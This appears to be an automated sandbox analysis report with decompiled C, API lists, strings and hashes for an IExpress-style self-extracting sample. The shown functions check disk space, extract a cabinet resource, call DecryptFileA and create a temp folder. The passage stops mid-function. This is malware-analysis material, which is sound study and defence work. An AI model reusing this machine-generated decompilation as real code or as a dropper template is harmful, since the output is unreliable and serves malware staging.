String ID: "$.BAT$.INF$AdvancedINF$C:\Users\user\AppData\Local\Temp\IXP000.TMP\$Command.com /c %s$DefaultInstall$Reboot$Version$rundll32.exe %s,InstallHinfSection %s 128 %s$setupapi.dll$setupx.dll
API String ID: 383838535-3368923722
Opcode ID: 08f15d466a975b18a46d7a186808435af1c8b46612153245fd08a7129df11ef5
Instruction ID: aa191c3af610e5376c7b01c57044c7fcb91416b061e3246b9aa507a5ca41ae5c
Opcode Fuzzy Hash: 08f15d466a975b18a46d7a186808435af1c8b46612153245fd08a7129df11ef5
Instruction Fuzzy Hash: 50A13770A002186BEF20DB28CC4DFEA7769FB52310F1E0295E555E72C2DBB59E85CB51

Uniqueness

Uniqueness Score: -1.00%

Function 0086597D Relevance: 19.7, APIs: 13, Instructions: 212
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 96%

			E0086597D(CHAR* __ecx, signed char __edx, void* __edi, intOrPtr _a4) {
				signed int _v8;
				char _v16;
				char _v276;
				char _v788;
				long _v792;
				long _v796;
				long _v800;
				signed int _v804;
				long _v808;
				int _v812;
				long _v816;
				long _v820;
				void* __ebx;
				void* __esi;
				signed int _t46;
				int _t50;
				signed int _t55;
				void* _t66;
				int _t69;
				signed int _t73;
				signed short _t78;
				signed int _t87;
				signed int _t101;
				int _t102;
				unsigned int _t103;
				unsigned int _t105;
				signed int _t111;
				long _t112;
				signed int _t116;
				CHAR* _t118;
				signed int _t119;
				signed int _t120;

				_t114 = __edi;
				_t46 =  *0x868004; // 0xb82e2007
				_v8 = _t46 ^ _t120;
				_v804 = __edx;
				_t118 = __ecx;
				GetCurrentDirectoryA(0x104,  &_v276);
				_t50 = SetCurrentDirectoryA(_t118); // executed
				if(_t50 != 0) {
					_push(__edi);
					_v796 = 0;
					_v792 = 0;
					_v800 = 0;
					_v808 = 0;
					_t55 = GetDiskFreeSpaceA(0,  &_v796,  &_v792,  &_v800,  &_v808); // executed
					__eflags = _t55;
					if(_t55 == 0) {
						L29:
						memset( &_v788, 0, 0x200);
						 *0x869124 = E00866285();
						FormatMessageA(0x1000, 0, GetLastError(), 0,  &_v788, 0x200, 0);
						_t110 = 0x4b0;
						L30:
						__eflags = 0;
						E008644B9(0, _t110, _t118,  &_v788, 0x10, 0);
						SetCurrentDirectoryA( &_v276);
						L31:
						_t66 = 0;
						__eflags = 0;
						L32:
						_pop(_t114);
						goto L33;
					}
					_t69 = _v792 * _v796;
					_v812 = _t69;
					_t116 = MulDiv(_t69, _v800, 0x400);
					__eflags = _t116;
					if(_t116 == 0) {
						goto L29;
					}
					_t73 = GetVolumeInformationA(0, 0, 0, 0,  &_v820,  &_v816, 0, 0); // executed
					__eflags = _t73;
					if(_t73 != 0) {
						SetCurrentDirectoryA( &_v276); // executed
						_t101 =  &_v16;
						_t111 = 6;
						_t119 = _t118 - _t101;
						__eflags = _t119;
						while(1) {
							_t22 = _t111 - 4; // 0x2
							__eflags = _t22;
							if(_t22 == 0) {
								break;
							}
							_t87 =  *((intOrPtr*)(_t119 + _t101));
							__eflags = _t87;
							if(_t87 == 0) {
								break;
							}
							 *_t101 = _t87;
							_t101 = _t101 + 1;
							_t111 = _t111 - 1;
							__eflags = _t111;
							if(_t111 != 0) {
								continue;
							}
							break;
						}
						__eflags = _t111;
						if(_t111 == 0) {
							_t101 = _t101 - 1;
							__eflags = _t101;
						}
						 *_t101 = 0;
						_t112 = 0x200;
						_t102 = _v812;
						_t78 = 0;
						_t118 = 8;
						while(1) {
							__eflags = _t102 - _t112;
							if(_t102 == _t112) {
								break;
							}
							_t112 = _t112 + _t112;
							_t78 = _t78 + 1;
							__eflags = _t78 - _t118;
							if(_t78 < _t118) {
								continue;
							}
							break;
						}
						__eflags = _t78 - _t118;
						if(_t78 != _t118) {
							__eflags =  *0x869a34 & 0x00000008;
							if(( *0x869a34 & 0x00000008) == 0) {
								L20:
								_t103 =  *0x869a38; // 0x0
								_t110 =  *((intOrPtr*)(0x8689e0 + (_t78 & 0x0000ffff) * 4));
								L21:
								__eflags = (_v804 & 0x00000003) - 3;
								if((_v804 & 0x00000003) != 3) {
									__eflags = _v804 & 0x00000001;
									if((_v804 & 0x00000001) == 0) {
										__eflags = _t103 - _t116;
									} else {
										__eflags = _t110 - _t116;
									}
								} else {
									__eflags = _t103 + _t110 - _t116;
								}
								if(__eflags <= 0) {
									 *0x869124 = 0;
									_t66 = 1;
								} else {
									_t66 = E0086268B(_a4, _t110, _t103,  &_v16);
								}
								goto L32;
							}
							__eflags = _v816 & 0x00008000;
							if((_v816 & 0x00008000) == 0) {
								goto L20;
							}
							_t105 =  *0x869a38; // 0x0
							_t110 =  *((intOrPtr*)(0x8689e0 + (_t78 & 0x0000ffff) * 4)) +  *((intOrPtr*)(0x8689e0 + (_t78 & 0x0000ffff) * 4));
							_t103 = (_t105 >> 2) +  *0x869a38;
							goto L21;
						}
						_t110 = 0x4c5;
						E008644B9(0, 0x4c5, 0, 0, 0x10, 0);
						goto L31;
					}
					memset( &_v788, 0, 0x200);
					 *0x869124 = E00866285();
					FormatMessageA(0x1000, 0, GetLastError(), 0,  &_v788, 0x200, 0);
					_t110 = 0x4f9;
					goto L30;
				} else {
					_t110 = 0x4bc;
					E008644B9(0, 0x4bc, 0, 0, 0x10, 0);
					 *0x869124 = E00866285();
					_t66 = 0;
					L33:
					return E00866CE0(_t66, 0, _v8 ^ _t120, _t110, _t114, _t118);
				}
			}

0x0086597d
0x00865988
0x0086598f
0x0086599a
0x008659a6
0x008659a8
0x008659af
0x008659b9
0x008659dd
0x008659e4
0x008659f1
0x008659fe
0x00865a0b
0x00865a13
0x00865a19
0x00865a1b
0x00865ba1
0x00865baf
0x00865bbd
0x00865bd8
0x00865bde
0x00865be3
0x00865bec
0x00865bf0
0x00865bfc
0x00865c02
0x00865c02
0x00865c02
0x00865c04
0x00865c04
0x00000000
0x00865c04
0x00865a27
0x00865a3a
0x00865a46
0x00865a48
0x00865a4a
0x00000000
0x00000000
0x00865a64
0x00865a6a
0x00865a6c
0x00865abc
0x00865ac2
0x00865ac9
0x00865aca
0x00865aca
0x00865acc
0x00865acc
0x00865acf
0x00865ad1
0x00000000
0x00000000
0x00865ad3
0x00865ad6
0x00865ad8
0x00000000
0x00000000
0x00865ada
0x00865adc
0x00865add
0x00865add
0x00865ae0
0x00000000
0x00000000
0x00000000
0x00865ae0
0x00865ae2
0x00865ae4
0x00865ae6
0x00865ae6
0x00865ae6
0x00865ae9
0x00865aeb
0x00865af0
0x00865af6
0x00865af8
0x00865af9
0x00865af9
0x00865afb
0x00000000
0x00000000
0x00865afd
0x00865aff
0x00865b00
0x00865b03
0x00000000
0x00000000
0x00000000
0x00865b03
0x00865b05
0x00865b08
0x00865b20
0x00865b27
0x00865b52
0x00865b52
0x00865b5b
0x00865b62
0x00865b6b
0x00865b6d
0x00865b76
0x00865b7d
0x00865b83
0x00865b7f
0x00865b7f
0x00865b7f
0x00865b6f
0x00865b72
0x00865b72
0x00865b85
0x00865b98
0x00865b9e
0x00865b87
0x00865b8f
0x00865b8f
0x00000000
0x00865b85
0x00865b29
0x00865b33
0x00000000
0x00000000
0x00865b35
0x00865b48
0x00865b4a
0x00000000
0x00865b4a
0x00865b0f
0x00865b16
0x00000000
0x00865b16
0x00865a7c
0x00865a8a
0x00865aa5
0x00865aab
0x00000000
0x008659bb
0x008659c0
0x008659c7
0x008659d1
0x008659d6
0x00865c05
0x00865c14
0x00865c14

APIs

GetCurrentDirectoryA.KERNEL32(00000104,?,00000000,00000000), ref: 008659A8
SetCurrentDirectoryA.KERNELBASE(?), ref: 008659AF
GetDiskFreeSpaceA.KERNELBASE(00000000,?,?,?,?,00000001), ref: 00865A13
MulDiv.KERNEL32(?,?,00000400), ref: 00865A40
GetVolumeInformationA.KERNELBASE(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 00865A64
memset.MSVCRT ref: 00865A7C
GetLastError.KERNEL32(00000000,?,00000200,00000000), ref: 00865A98
FormatMessageA.KERNEL32(00001000,00000000,00000000), ref: 00865AA5
SetCurrentDirectoryA.KERNEL32(?,?,?,00000010,00000000), ref: 00865BFC

Part of subcall function 008644B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00864518
Part of subcall function 008644B9: MessageBoxA.USER32(?,?,herso,00010010), ref: 00864554

Part of subcall function 00866285: GetLastError.KERNEL32(00865BBC), ref: 00866285

Memory Dump Source

Source File: 00000000.00000002.461702172.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.461647733.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461734712.0000000000868000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_W7ANVukbbj.jbxd

Similarity

API ID: CurrentDirectory$ErrorLastMessage$DiskFormatFreeInformationLoadSpaceStringVolumememset
String ID:
API String ID: 4237285672-0
Opcode ID: 7e66c4d7e2375731a62f98ee08c74d5c4f08ecb4ade5aa82faa5f82c09e61a4d
Instruction ID: df7d1d3016f0261925ef8f6be6f8bce8509fa20ac6340a4123212b82558b4b5a
Opcode Fuzzy Hash: 7e66c4d7e2375731a62f98ee08c74d5c4f08ecb4ade5aa82faa5f82c09e61a4d
Instruction Fuzzy Hash: 4F71AFB190061CAFEB259F64DC85FFA77ACFB48304F1651A9F446D6280EA709E848F61

Uniqueness

Uniqueness Score: -1.00%

Function 00864FE0 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 121
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 77%

			E00864FE0(void* __edi, void* __eflags) {
				void* __ebx;
				void* _t8;
				struct HWND__* _t9;
				int _t10;
				void* _t12;
				struct HWND__* _t24;
				struct HWND__* _t27;
				intOrPtr _t29;
				void* _t33;
				int _t34;
				CHAR* _t36;
				int _t37;
				intOrPtr _t47;

				_t33 = __edi;
				_t36 = "CABINET";
				 *0x869144 = E0086468F(_t36, 0, 0);
				_t8 = LockResource(LoadResource(0, FindResourceA(0, _t36, 0xa)));
				 *0x869140 = _t8;
				if(_t8 == 0) {
					return _t8;
				}
				_t9 =  *0x868584; // 0x0
				if(_t9 != 0) {
					ShowWindow(GetDlgItem(_t9, 0x842), 0);
					ShowWindow(GetDlgItem( *0x868584, 0x841), 5);
				}
				_t10 = E00864EFD(0, 0);
				if(_t10 != 0) {
					__imp__#20(E00864CA0, E00864CC0, E00864980, E00864A50, E00864AD0, E00864B60, E00864BC0, 1, 0x869148, _t33);
					_t34 = _t10;
					if(_t34 == 0) {
						L8:
						_t29 =  *0x869148; // 0x0
						_t24 =  *0x868584; // 0x0
						E008644B9(_t24, _t29 + 0x514, 0, 0, 0x10, 0);
						_t37 = 0;
						L9:
						goto L10;
					}
					__imp__#22(_t34, "*MEMCAB", 0x861140, 0, E00864CD0, 0, 0x869140); // executed
					_t37 = _t10;
					if(_t37 == 0) {
						goto L9;
					}
					__imp__#23(_t34); // executed
					if(_t10 != 0) {
						goto L9;
					}
					goto L8;
				} else {
					_t27 =  *0x868584; // 0x0
					E008644B9(_t27, 0x4ba, 0, 0, 0x10, 0);
					_t37 = 0;
					L10:
					_t12 =  *0x869140; // 0x0
					if(_t12 != 0) {
						FreeResource(_t12);
						 *0x869140 = 0;
					}
					if(_t37 == 0) {
						_t47 =  *0x8691d8; // 0x0
						if(_t47 == 0) {
							E008644B9(0, 0x4f8, 0, 0, 0x10, 0);
						}
					}
					if(( *0x868a38 & 0x00000001) == 0 && ( *0x869a34 & 0x00000001) == 0) {
						SendMessageA( *0x868584, 0xfa1, _t37, 0);
					}
					return _t37;
				}
			}

0x00864fe0
0x00864fe6
0x00864ff9
0x0086500d
0x00865013
0x0086501a
0x00865163
0x00865163
0x00865020
0x00865027
0x00865037
0x00865051
0x00865051
0x00865057
0x0086505e
0x008650a7
0x008650ad
0x008650b4
0x008650e8
0x008650e8
0x008650ee
0x008650ff
0x00865104
0x00865106
0x00000000
0x00865106
0x008650cd
0x008650d3
0x008650da
0x00000000
0x00000000
0x008650dd
0x008650e6
0x00000000
0x00000000
0x00000000
0x00865060
0x00865060
0x00865070
0x00865075
0x00865107
0x00865107
0x0086510e
0x00865111
0x00865117
0x00865117
0x0086511f
0x00865121
0x00865127
0x00865135
0x00865135
0x00865127
0x00865141
0x00865159
0x00865159
0x00000000
0x0086515f

APIs

Part of subcall function 0086468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 008646A0
Part of subcall function 0086468F: SizeofResource.KERNEL32(00000000,00000000,?,00862D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 008646A9
Part of subcall function 0086468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 008646C3
Part of subcall function 0086468F: LoadResource.KERNEL32(00000000,00000000,?,00862D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 008646CC
Part of subcall function 0086468F: LockResource.KERNEL32(00000000,?,00862D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 008646D3
Part of subcall function 0086468F: memcpy_s.MSVCRT ref: 008646E5
Part of subcall function 0086468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 008646EF

FindResourceA.KERNEL32(00000000,CABINET,0000000A), ref: 00864FFE
LoadResource.KERNEL32(00000000,00000000), ref: 00865006
LockResource.KERNEL32(00000000), ref: 0086500D
GetDlgItem.USER32(00000000,00000842), ref: 00865030
ShowWindow.USER32(00000000), ref: 00865037
GetDlgItem.USER32(00000841,00000005), ref: 0086504A
ShowWindow.USER32(00000000), ref: 00865051
FreeResource.KERNEL32(00000000,00000000,00000010,00000000), ref: 00865111
SendMessageA.USER32(00000FA1,00000000,00000000,00000000), ref: 00865159

Strings

CABINET, xrefs: 00864FE6, 00864FF7
*MEMCAB, xrefs: 008650C7

Memory Dump Source

Source File: 00000000.00000002.461702172.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.461647733.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461734712.0000000000868000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_W7ANVukbbj.jbxd

Similarity

API ID: Resource$Find$FreeItemLoadLockShowWindow$MessageSendSizeofmemcpy_s
String ID: *MEMCAB$CABINET
API String ID: 1305606123-2642027498
Opcode ID: a32654f5b712050b269d6836313ba3a21d4681fef072947346c1f8a102534bfb
Instruction ID: dddf5de5dfc9953196955a43eb4e50849161f9d9a068b2e09537eac3cec3b816
Opcode Fuzzy Hash: a32654f5b712050b269d6836313ba3a21d4681fef072947346c1f8a102534bfb
Instruction Fuzzy Hash: FE31D3B0640711FBD7205B65AD8EF2B365CF706B55F072024F916E63E1DAF98C408A62

Uniqueness

Uniqueness Score: -1.00%

Function 00862F1D Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 120
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E00862F1D(void* __ecx, int __edx) {
				signed int _v8;
				char _v272;
				_Unknown_base(*)()* _v276;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t9;
				void* _t11;
				struct HWND__* _t12;
				void* _t14;
				int _t21;
				signed int _t22;
				signed int _t25;
				intOrPtr* _t26;
				signed int _t27;
				void* _t30;
				_Unknown_base(*)()* _t31;
				void* _t34;
				struct HINSTANCE__* _t36;
				intOrPtr _t41;
				intOrPtr* _t44;
				signed int _t46;
				int _t47;
				void* _t58;
				void* _t59;

				_t43 = __edx;
				_t9 =  *0x868004; // 0xb82e2007
				_v8 = _t9 ^ _t46;
				if( *0x868a38 != 0) {
					L5:
					_t11 = E00865164(_t52);
					_t53 = _t11;
					if(_t11 == 0) {
						L16:
						_t12 = 0;
						L17:
						return E00866CE0(_t12, _t36, _v8 ^ _t46, _t43, _t44, _t45);
					}
					_t14 = E008655A0(_t53); // executed
					if(_t14 == 0) {
						goto L16;
					} else {
						_t45 = 0x105;
						GetSystemDirectoryA( &_v272, 0x105);
						_t43 = 0x105;
						_t40 =  &_v272;
						E0086658A( &_v272, 0x105, "advapi32.dll");
						_t36 = LoadLibraryA( &_v272);
						_t44 = 0;
						if(_t36 != 0) {
							_t31 = GetProcAddress(_t36, "DecryptFileA");
							_v276 = _t31;
							if(_t31 != 0) {
								_t45 = _t47;
								_t40 = _t31;
								 *0x86a288("C:\Users\hardz\AppData\Local\Temp\IXP000.TMP\", 0); // executed
								_v276();
								if(_t47 != _t47) {
									_t40 = 4;
									asm("int 0x29");
								}
							}
						}
						FreeLibrary(_t36);
						_t58 =  *0x868a24 - _t44; // 0x0
						if(_t58 != 0) {
							L14:
							_t21 = SetCurrentDirectoryA("C:\Users\hardz\AppData\Local\Temp\IXP000.TMP\"); // executed
							if(_t21 != 0) {
								__eflags =  *0x868a2c - _t44; // 0x0
								if(__eflags != 0) {
									L20:
									__eflags =  *0x868d48 & 0x000000c0;
									if(( *0x868d48 & 0x000000c0) == 0) {
										_t41 =  *0x869a40; // 0x3, executed
										_t26 = E0086256D(_t41); // executed
										_t44 = _t26;
									}
									_t22 =  *0x868a24; // 0x0
									 *0x869a44 = _t44;
									__eflags = _t22;
									if(_t22 != 0) {
										L26:
										__eflags =  *0x868a38;
										if( *0x868a38 == 0) {
											__eflags = _t22;
											if(__eflags == 0) {
												E00864169(__eflags);
											}
										}
										_t12 = 1;
										goto L17;
									} else {
										__eflags =  *0x869a30 - _t22; // 0x0
										if(__eflags != 0) {
											goto L26;
										}
										_t25 = E00863BA2(); // executed
										__eflags = _t25;
										if(_t25 == 0) {
											goto L16;
										}
										_t22 =  *0x868a24; // 0x0
										goto L26;
									}
								}
								_t27 = E00863B26(_t40, _t44);
								__eflags = _t27;
								if(_t27 == 0) {
									goto L16;
								}
								goto L20;
							}
							_t43 = 0x4bc;
							E008644B9(0, 0x4bc, _t44, _t44, 0x10, _t44);
							 *0x869124 = E00866285();
							goto L16;
						}
						_t59 =  *0x869a30 - _t44; // 0x0
						if(_t59 != 0) {
							goto L14;
						}
						_t30 = E0086621E(); // executed
						if(_t30 == 0) {
							goto L16;
						}
						goto L14;
					}
				}
				_t49 =  *0x868a24;
				if( *0x868a24 != 0) {
					L4:
					_t34 = E00863A3F(_t51);
					_t52 = _t34;
					if(_t34 == 0) {
						goto L16;
					}
					goto L5;
				}
				if(E008651E5(_t49) == 0) {
					goto L16;
				}
				_t51 =  *0x868a38;
				if( *0x868a38 != 0) {
					goto L5;
				}
				goto L4;
			}

0x00862f1d
0x00862f28
0x00862f2f
0x00862f3d
0x00862f6c
0x00862f6c
0x00862f71
0x00862f73
0x00863041
0x00863041
0x00863043
0x00863053
0x00863053
0x00862f79
0x00862f80
0x00000000
0x00862f86
0x00862f86
0x00862f93
0x00862f9e
0x00862fa0
0x00862fa6
0x00862fb8
0x00862fba
0x00862fbe
0x00862fc6
0x00862fcc
0x00862fd4
0x00862fd6
0x00862fd8
0x00862fe0
0x00862fe6
0x00862fee
0x00862ff0
0x00862ff5
0x00862ff5
0x00862fee
0x00862fd4
0x00862ff8
0x00862ffe
0x00863004
0x00863017
0x0086301c
0x00863024
0x00863054
0x0086305a
0x00863065
0x00863065
0x0086306c
0x0086306e
0x00863075
0x0086307a
0x0086307a
0x0086307c
0x00863081
0x00863087
0x00863089
0x008630a1
0x008630a1
0x008630a9
0x008630ab
0x008630ad
0x008630af
0x008630af
0x008630ad
0x008630b6
0x00000000
0x0086308b
0x0086308b
0x00863091
0x00000000
0x00000000
0x00863093
0x00863098
0x0086309a
0x00000000
0x00000000
0x0086309c
0x00000000
0x0086309c
0x00863089
0x0086305c
0x00863061
0x00863063
0x00000000
0x00000000
0x00000000
0x00863063
0x0086302b
0x00863032
0x0086303c
0x00000000
0x0086303c
0x00863006
0x0086300c
0x00000000
0x00000000
0x0086300e
0x00863015
0x00000000
0x00000000
0x00000000
0x00863015
0x00862f80
0x00862f3f
0x00862f46
0x00862f5f
0x00862f5f
0x00862f64
0x00862f66
0x00000000
0x00000000
0x00000000
0x00862f66
0x00862f4f
0x00000000
0x00000000
0x00862f55
0x00862f5d
0x00000000
0x00000000
0x00000000

APIs

GetSystemDirectoryA.KERNEL32 ref: 00862F93
LoadLibraryA.KERNEL32(?,advapi32.dll), ref: 00862FB2
GetProcAddress.KERNEL32(00000000,DecryptFileA), ref: 00862FC6
DecryptFileA.ADVAPI32 ref: 00862FE6
FreeLibrary.KERNEL32(00000000), ref: 00862FF8
SetCurrentDirectoryA.KERNELBASE(C:\Users\user\AppData\Local\Temp\IXP000.TMP\), ref: 0086301C

Part of subcall function 008651E5: LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000,00862F4D,?,00000002,00000000), ref: 00865201

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00862FDB, 00863017
DecryptFileA, xrefs: 00862FC0
advapi32.dll, xrefs: 00862F99

Memory Dump Source

Source File: 00000000.00000002.461702172.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.461647733.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461734712.0000000000868000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_W7ANVukbbj.jbxd

Similarity

API ID: DirectoryLibrary$AddressAllocCurrentDecryptFileFreeLoadLocalProcSystem
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$DecryptFileA$advapi32.dll
API String ID: 2126469477-58291647
Opcode ID: 5d4c6f5142dc3ba9fe765cc3735b9c2731b284b6bf49429297e4f7026d741b13
Instruction ID: 170d0cf8bc73d3e4555e52a0429d9e29c0a52febeb41234f7cb7408f72e67696
Opcode Fuzzy Hash: 5d4c6f5142dc3ba9fe765cc3735b9c2731b284b6bf49429297e4f7026d741b13
Instruction Fuzzy Hash: 4141FB30A00A15DBDB30AB75AC4AA5633E8FB54751F131165ED45D2192EFB4CE84CB63

Uniqueness

Uniqueness Score: -1.00%

Function 00865467 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 101
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 75%

			E00865467(CHAR* __ecx, void* __edx, char* _a4) {
				signed int _v8;
				char _v268;
				struct _SYSTEM_INFO _v304;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t10;
				void* _t13;
				intOrPtr _t14;
				void* _t16;
				void* _t20;
				signed int _t26;
				void* _t28;
				void* _t29;
				CHAR* _t48;
				signed int _t49;
				intOrPtr _t61;

				_t10 =  *0x868004; // 0xb82e2007
				_v8 = _t10 ^ _t49;
				_push(__ecx);
				if(__edx == 0) {
					_t48 = 0x8691e4;
					_t42 = 0x104;
					E00861680(0x8691e4, 0x104);
					L14:
					_t13 = E008658C8(_t48); // executed
					if(_t13 != 0) {
						L17:
						_t42 = _a4;
						if(_a4 == 0) {
							L23:
							 *0x869124 = 0;
							_t14 = 1;
							L24:
							return E00866CE0(_t14, 0, _v8 ^ _t49, _t42, 1, _t48);
						}
						_t16 = E0086597D(_t48, _t42, 1, 0); // executed
						if(_t16 != 0) {
							goto L23;
						}
						_t61 =  *0x868a20; // 0x0
						if(_t61 != 0) {
							 *0x868a20 = 0;
							RemoveDirectoryA(_t48);
						}
						L22:
						_t14 = 0;
						goto L24;
					}
					if(CreateDirectoryA(_t48, 0) == 0) {
						 *0x869124 = E00866285();
						goto L22;
					}
					 *0x868a20 = 1;
					goto L17;
				}
				_t42 =  &_v268;
				_t20 = E008653A1(__ecx,  &_v268); // executed
				if(_t20 == 0) {
					goto L22;
				}
				_push(__ecx);
				_t48 = 0x8691e4;
				E00861781(0x8691e4, 0x104, __ecx,  &_v268);
				if(( *0x869a34 & 0x00000020) == 0) {
					L12:
					_t42 = 0x104;
					E0086658A(_t48, 0x104, 0x861140);
					goto L14;
				}
				GetSystemInfo( &_v304);
				_t26 = _v304.dwOemId & 0x0000ffff;
				if(_t26 == 0) {
					_push("i386");
					L11:
					E0086658A(_t48, 0x104);
					goto L12;
				}
				_t28 = _t26 - 1;
				if(_t28 == 0) {
					_push("mips");
					goto L11;
				}
				_t29 = _t28 - 1;
				if(_t29 == 0) {
					_push("alpha");
					goto L11;
				}
				if(_t29 != 1) {
					goto L12;
				}
				_push("ppc");
				goto L11;
			}

0x00865472
0x00865479
0x00865481
0x00865484
0x0086551c
0x00865521
0x00865528
0x0086552d
0x0086552f
0x00865539
0x0086554d
0x0086554d
0x00865552
0x00865585
0x00865585
0x0086558b
0x0086558d
0x0086559d
0x0086559d
0x00865557
0x0086555e
0x00000000
0x00000000
0x00865560
0x00865566
0x00865569
0x0086556f
0x0086556f
0x00865581
0x00865581
0x00000000
0x00865581
0x00865545
0x0086557c
0x00000000
0x0086557c
0x00865547
0x00000000
0x00865547
0x0086548a
0x00865490
0x00865497
0x00000000
0x00000000
0x0086549d
0x008654ab
0x008654b4
0x008654c0
0x0086550c
0x00865511
0x00865515
0x00000000
0x00865515
0x008654c9
0x008654d6
0x008654d8
0x008654fe
0x00865503
0x00865507
0x00000000
0x00865507
0x008654da
0x008654dd
0x008654f7
0x00000000
0x008654f7
0x008654df
0x008654e2
0x008654f0
0x00000000
0x008654f0
0x008654e7
0x00000000
0x00000000
0x008654e9
0x00000000

APIs

GetSystemInfo.KERNEL32(?,?,?,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 008654C9
CreateDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 0086553D
RemoveDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 0086556F

Part of subcall function 008653A1: RemoveDirectoryA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 008653FB
Part of subcall function 008653A1: GetFileAttributesA.KERNELBASE(?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 00865402
Part of subcall function 008653A1: GetTempFileNameA.KERNEL32(C:\Users\user\AppData\Local\Temp\IXP000.TMP\,IXP,00000000,?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 0086541F
Part of subcall function 008653A1: DeleteFileA.KERNEL32(?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 0086542B
Part of subcall function 008653A1: CreateDirectoryA.KERNEL32(?,00000000,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 00865434

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 0086547D, 00865481, 008654AB, 0086551C, 0086553C, 00865568
i386, xrefs: 008654FE
mips, xrefs: 008654F7
ppc, xrefs: 008654E9
alpha, xrefs: 008654F0

Memory Dump Source

Source File: 00000000.00000002.461702172.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.461647733.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461734712.0000000000868000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_W7ANVukbbj.jbxd

Similarity

API ID: Directory$File$CreateRemove$AttributesDeleteInfoNameSystemTemp
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$alpha$i386$mips$ppc
API String ID: 1979080616-186922987
Opcode ID: 90070ef3572397b9f9d8378a28630c7a4ae197b7744793599cdfa16442879d32
Instruction ID: e52b53da727da92cb69858cb8bc5f231d02fa13fd256f7d8fd3763c870cff7fd
Opcode Fuzzy Hash: 90070ef3572397b9f9d8378a28630c7a4ae197b7744793599cdfa16442879d32
Instruction Fuzzy Hash: A0313570B00A249BCF109B699C4D97E779AFB81300F1B012AE817D7781EFB48E018B96

Uniqueness

Uniqueness Score: -1.00%

Function 00862390 Relevance: 12.1, APIs: 8, Instructions: 93
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E00862390(CHAR* __ecx) {
				signed int _v8;
				char _v276;
				char _v280;
				char _v284;
				struct _WIN32_FIND_DATAA _v596;
				struct _WIN32_FIND_DATAA _v604;
				void* __ebx;
